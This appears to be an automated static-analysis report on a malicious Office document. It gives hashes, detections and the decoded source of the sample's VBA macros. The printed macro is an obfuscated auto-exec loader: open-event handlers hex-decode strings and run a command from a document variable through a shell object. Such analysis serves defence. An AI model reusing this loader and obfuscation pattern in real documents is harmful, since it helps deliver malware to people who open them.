Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 08798b5bb01c1e87…

MALICIOUS

Office (OLE)

35.0 KB Created: 2018-05-26 07:15:00 Authoring application: Microsoft Office Word First seen: 2019-12-10
MD5: a5b5a7f576416a1d5c110cee45adfca8 SHA-1: 0b267556e7cd332420225556b1a63d5e815d99db SHA-256: 08798b5bb01c1e87b9d73cea994f0ba2b958a6c095670e20ebc89f9a05af3593
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing heavily obfuscated VBA macros, including an auto-exec loader within the Workbook_Open and Document_Open subroutines. The T_Q function decodes a hex string which is then used to execute a command, indicating a downloader or dropper functionality. The ClamAV detection name 'Xls.Malware.Valyria-6700357-0' further supports its malicious nature.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2335 bytes
SHA-256: c4fb52702e6a62b8b9b1f2f02937ca5475e744f9c3c6c2d9fed9b1a58320ff4f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function acMJWFP1N() As String
Dim aacMJWFP1N As String
aacMJWFP1N = "4869627A48354848483C483D48524848314848194457205C4839484B4848201A6B480F4848487175484848754848690D4874484848482E14637E484848480C482448482F4B"
Dim myacMJWFP1N = aacMJWFP1N
End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & T_Q("757C7575856D8A8473757A7771")
End Sub
Private Function acZ0GKD2M() As String
Dim aacZ0GKD2M As String
aacZ0GKD2M = "4869627A48354848483C483D48524848314848194457205C4839484B4848201A6B480F4848487175484848754848690D4874484848482E14637E484848480C482448482F4B"
Dim myacZ0GKD2M = aacZ0GKD2M
End Function

Sub JQJJZB_YHJOLF()
    O_F
End Sub
Public Function T_Q(ByVal MV_CH As String)
   Dim RCB_L As String
   Dim Q_VE As Long
   For Q_VE = 1 To Len(MV_CH) Step 2
        RCB_L = RCB_L & Chr(CLng(Chr(38) & Chr(72) & Mid(MV_CH, Q_VE, 2)) - 43)
   Next
   T_Q = RCB_L
End Function
Private Function ac9E1W6ZC() As String
Dim aac9E1W6ZC As String
aac9E1W6ZC = "4869627A48354848483C483D48524848314848194457205C4839484B4848201A6B480F4848487175484848754848690D4874484848482E14637E484848480C482448482F4B"
Dim myac9E1W6ZC = aac9E1W6ZC
End Function

Public Sub Document_Open()
    Application.Run T_Q("757C7575856D8A8473757A7771")
End Sub
Private Function acSPPU3B7() As String
Dim aacSPPU3B7 As String
aacSPPU3B7 = "4869627A48354848483C483D48524848314848194457205C4839484B4848201A6B480F4848487175484848754848690D4874484848482E14637E484848480C482448482F4B"
Dim myacSPPU3B7 = aacSPPU3B7
End Function

Public Sub O_F()
    Dim MV_CH As Object: Set MV_CH = VBA.CreateObject(T_Q("827E8E9D949B9F597E93909797"))
    CallByName MV_CH, "Run", VbMethod, T_Q(ActiveDocument.Variables("G4MUNZHL00").Value), 0, True
End Sub
Private Function acGL74MCB() As String
Dim aacGL74MCB As String
aacGL74MCB = "4869627A48354848483C483D48524848314848194457205C4839484B4848201A6B480F4848487175484848754848690D4874484848482E14637E484848480C482448482F4B"
Dim myacGL74MCB = aacGL74MCB
End Function

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